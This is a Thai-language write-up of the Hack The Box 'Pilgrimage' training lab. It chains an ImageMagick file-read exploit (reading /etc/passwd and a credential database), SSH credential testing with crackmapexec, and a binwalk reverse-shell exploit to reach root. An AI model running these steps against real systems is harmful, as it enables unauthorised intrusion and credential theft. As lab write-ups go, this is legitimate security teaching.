สวัสดีครับ วันนี้เราจะมาทำ Lab ของ HTB (Hack The Box) ข้อ Pilgrimage ซึ่งเป็นโจทย์ระดับ Easy และมี OS (Operation System) เป็น Linux และก่อนที่เราจะเล่น Lab นี้จะต้องทำการ Connect VPN ของ Hack The Box ก่อนนะครับ
Reconnaissance
Nmap Network Scanning
โดยในส่วนนี้จะเป็นการสแกนเพื่อค้นหา Port / Service ที่เครื่องเซิร์ฟเวอร์ใช้งานอยู่ เพื่อมาทำการวิเคราะห์ว่ามีช่องทางไหนให้เราสามารถโจมตีได้บ้าง โดยคำสั่งที่ใช้ทำการสแกนมีดังนี้
nmap <IP / Hostname> -A -T4 -o <output>
จากนั้นให้เราทำการ Map Host ที่ /etc/hosts เนื่องจากถ้าเราไม่ทำการเพิ่ม Host จะทำให้ไม่สามารถใช้งานเว็บไซต์ได้
เมื่อเราทำการ Map Host เรียบร้อยแล้ว เราก็มาทำการดูตัวเว็บไซต์กันหน่อยดีกว่า ว่าสามารถทำอะไรได้บ้าง ซึ่งมีหน้าให้สามารถอัปโหลดรูปภาพได้ และเนื่องจากตัวเว็บไซต์ใช้เป็นภาษาเป็น PHP เลยทำการลองอัปโหลดไฟล์ที่เป็น .php แต่ไม่สามารถอัปโหลดที่ไม่ใช่ไฟล์รูปภาพเข้าไปได้
Enum Directory / File with dirsearch
โดยในส่วนนี้เราจะหา Directory หรือ File ที่มีอยู่บนเว็บไซต์เพื่อทำการเก็บข้อมูลเพิ่มเติม สำหรับใช้ในการโจมตีระบบต่อไป โดยคำสั่งที่ใช้งานมี ดังนี้
dirsearch -u <IP / Hostname>
Source: https://github.com/maurosoria/dirsearch
ซึ่งเราจะเห็นว่ามีการใช้งาน .git บนเว็บไซต์ และมีบางส่วนที่มี Response ที่ตอบกลับมาเป็น 200 ซึ่งหมายความว่าเราสามารถเข้าถึงไฟล์นั้นๆ ได้
Dump git repository with git-dumper
โดยในส่วนนี้เราจำทำการ dump git repository ของเว็บไซต์มาดู ว่ามีอะไรที่จะสามารถช่วยให้เราใช้ในการโจมตีต่อไปได้บ้าง โดยคำสั่งที่ใช้งานมีดังนี้
git-dumper <URL> <output directory>
Source: https://github.com/arthaud/git-dumper
หลังจากที่เรา dump ข้อมูลใน .git ออกมาแล้ว พบว่าเราได้ข้อมูล Source Code ของตัวเว็บไซต์ทั้งหมด ซึ่งมีทั้งไฟล์ Folder, ไฟล์ PHP และโปรแกรม magick
หลังจากที่เราวิเคราะห์ไฟล์ทั้งหมดที่เรา Dump มา ก็เจอว่าบนเว็บไซต์มีการใช้งานตัว Magick Convert
ซึ่งในโฟลเดอร์ที่เรา Dump มานั้นมีโปรแกรมที่ชื่อว่า Magick จากนั้นเราจึงทำการเช็กเวอร์ชันที่ใช้งาน พบว่าเป็นเวอร์ชัน 7.1.0–49
จากนั้นเราก็ไปหาข้อมูลเพิ่มเติมเกี่ยวกับตัวโปรแกรมที่เว็บไซต์ใช้งาน พบว่าตัวเว็บไซต์มีการใช้งานตัวโปรแกรมที่มีช่องโหว่ Arbitary File Read (CVE 2022–44268)
Exploit
ImageMagick — Arbitary File Read (CVE 2022–44268)
โดยช่องโหว่นี้จะเป็นการอ่านไฟล์ที่อยู่ในเครื่องเซิร์ฟเวอร์ของเว็บไซต์นั่น ซึ่งเวอร์ชันที่จะสามารถใช้ช่องโหว่นี้ได้ คือ 7.1.0–46 หรือเวอร์ชันที่น้อยกว่า โดย Script ที่เราจะใช้ในการโจมตี โดยจะใช้คำสั่ง ดังนี้
git clone https://github.com/voidz0r/CVE-2022-44268.git
Source: https://github.com/voidz0r/CVE-2022-44268
โดยคำสั่งที่เราจะใช้ เพื่อทำการเพิ่ม Payload เข้าไปในรูป มีดังนี้
cargo run ‘/etc/passwd’
ซึ่งคำสั่งจะเป็นการเพิ่ม Payload โดยการให้อ่านไฟล์ /etc/passwd ในเครื่องเซิร์ฟเวอร์ของเว็บไซต์
จากนั้นเราก็ใช้โปรแกรม exiftool เพื่อเช็กดูว่ามี Payload เพิ่มเข้าไปที่รูปภาพจริงหรือไม่ โดยใช้คำสั่งดังนี้
exiftool <file>
Source: https://github.com/exiftool/exiftool
พบว่ามี /etc/passwd เพิ่มเข้าไปตรง profile ของรูปภาพที่เราเพิ่ม Payload เข้าไป
หลังจากที่เราได้รูปภาพที่มี Payload แล้ว ก็กลับมายังหน้าเว็บไซต์แรก ที่มีให้เราสามารถอัปโหลดไฟล์รูปภาพได้ และเมื่อเราอัปโหลดไฟล์รูปภาพสำเร็จแล้ว จะมีลิงก์ของรูปภาพที่อัปโหลดเข้าไปโชว์ขึ้นมา
จากนั้นให้เราดาวน์โหลดรูปภาพที่เราได้ทำการอัพโหลดเข้าไป เพื่อนำมาวิเคราะห์ไฟล์ หลังจากที่เราอัปโหลดเข้าไปแล้ว โดยใช้คำสั่งดังนี้
identify -verbose <file>
หลังจากที่เราวิเคราะห์ไฟล์แล้ว จะเจอว่ามีค่า Hex อยู่ในรูปภาพด้วย
หลังจากที่เรานำค่า Hex ที่ได้มาจากรูปภาพมาแปลงเป็น Text ธรรมดาแล้ว จะได้ดังนี้
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
ซึ่งมันก็คือข้อมูลข้างในไฟล์ /etc/passwd ของเครื่องเซิร์ฟเวอร์ นั่นก็หมายความว่าเราสามารถอ่านไฟล์ใดๆ ก็ได้ที่อยู่บนเครื่องของเซิร์ฟเวอร์ผ่าน Payload ของที่ใส่ไว้ในรูปภาพได้ แต่นั่นก็ยังไม่สามารถทำให้เราสามารถเข้าไปในเครื่องเซิร์ฟเวอร์ได้อยู่ดี เราเลยต้องกลับมาวิเคราะห์ไฟล์ที่เรา dump มาจาก .git อีกรอบ ซึ่งก็พบว่าในไฟล์ “dashboard.php” มีการเรียกใช้งาน sqlite โดยใช้งาน Path “/var/db/pilgrimage” ซึ่งค่อนข้างน่าสนใจเลยทีเดียว
โดยคำสั่งที่เราจะใช้ เพื่อทำการเพิ่ม Payload เข้าไปในรูป มีดังนี้
cargo run ‘/var/db/pilgrimage’
จากนั้นเราก็ทำการอัปโหลดรูปภาพที่มี Paylaod ใหม่เข้าไป และดาวน์โหลดออกมาวิเคราะห์ เหมือนข้างบนอีกหนึ่งครั้ง ซึ่งค่า Hex ที่ได้มาใหม่นี้ ไม่สามารถอ่านได้อย่างสะดวก ซึ่งคาดว่าน่าเป็น format ของ SQLite
ดังนั้น เราจึงนำค่า Hex มาใส่ไว้ในไฟล์ และแปลงนามสกุลเป็น sqlite ซึ่งน่าจะทำให้สามารถอ่านได้ง่ายขึ้น โดยใช้คำสั่ง ดังนี้
xxd -r -p <hex_file> <output name.sqlite>
จากนั้น นำไฟล์ sqlite ที่เราแปลงมาแล้ว มาอ่านในโปรแกรม sqlite3 โดยมีคำสั่ง ดังนี้
sqlite3 <file>
จากนั้นก็ใช้คำสั่ง
sqlite> .dump
เพื่อทำการอ่านข้อมูลในไฟล์ พบว่ามีข้อมูล credential ของระบบอยู่
หลังจากที่เราได้ credential มา เรายังไม่รู้ว่ามีอันไหนใช้ได้บ้าง โดยที่เราจะใช้ ssh ในการ Bruteforce ผู้ใช้งานโดยใช้โปรแกรม crackmapexec โดยใช้คำสั่ง ดังนี้
crackmapexec ssh <IP> -u <user> -p <password>
Source: https://github.com/Porchetta-Industries/CrackMapExec
ซึ่งเราพบว่า emily สามารถ login เข้าใช้งานระบบ ผ่าน ssh ได้
จากนั้นเราก็ทำการเข้าสู่ระบบผ่าน ssh ด้วย emily และพบว่าเราสามารถอ่าน user.txt ได้
Privilege Escalation
โดยในส่วนนี้เราจะทำการอัปโหลด pspy เข้าไปที่เครื่องเซิร์ฟเวอร์ และใช้ pspy เพื่อทำการดูว่าบนระบบ มี process อะไร run อยู่บ้าง โดยใช้คำสั่ง ดังนี้
bash pspy32
Source: https://github.com/DominicBreuker/pspy
ซึ่งพบว่าบนระบบมีการ run ไฟล์ malwarescan.sh ซ้ำๆ หลายรอบ
จากนั้นเราก็ทำการวิเคราะห์ไฟล์ malwarescan.sh พบว่ามีการเรียกใช้งาน binwalk อยู่
จากนั้นเราก็ทำการดูเวอร์ชันของ binwalk ที่ระบบกำลังใช้งานอยู่ พบว่าเป็นเวอร์ชัน 2.3.2
จากนั้นก็ทำการค้นหาข้อมูลเพิ่มเติม และพบว่า binwalk เวอร์ชัน 2.3.2 มีช่องโหว่ CVE 2022–4510 ที่สามารถยกระดับสิทธิ์ได้
โดยเราจะโจมตีโดยการเพิ่ม Payload Reverse Shell เข้าไปในรูปภาพ โดยใช้คำสั่ง ดังนี้
python3 51249.py <file_image> <LHOST> <LPORT>
Source: https://www.exploit-db.com/exploits/51249
จากนั้นเราก็ทำการอัปโหลดไฟล์รูปภาพไปไว้ที่ folder /var/www/pilgrimage.htb/shrunk ซึ่งเป็น folder ที่ binwalk ทำการอ่านไฟล์ โดยใช้คำสั่ง ดังนี้
wget <IP:PORT/filename>
พบว่ามี shell ต่อกลับมายังเครื่องของเรา ซึ่งพอเราลองใช้คำสั่ง id ก็คือ root นั่นเอง ซึ่งตอนนี้เราก็สามารถอ่านไฟล์ root.txt ได้แล้วครับ
Enjoy Hacking krubbbb ^_^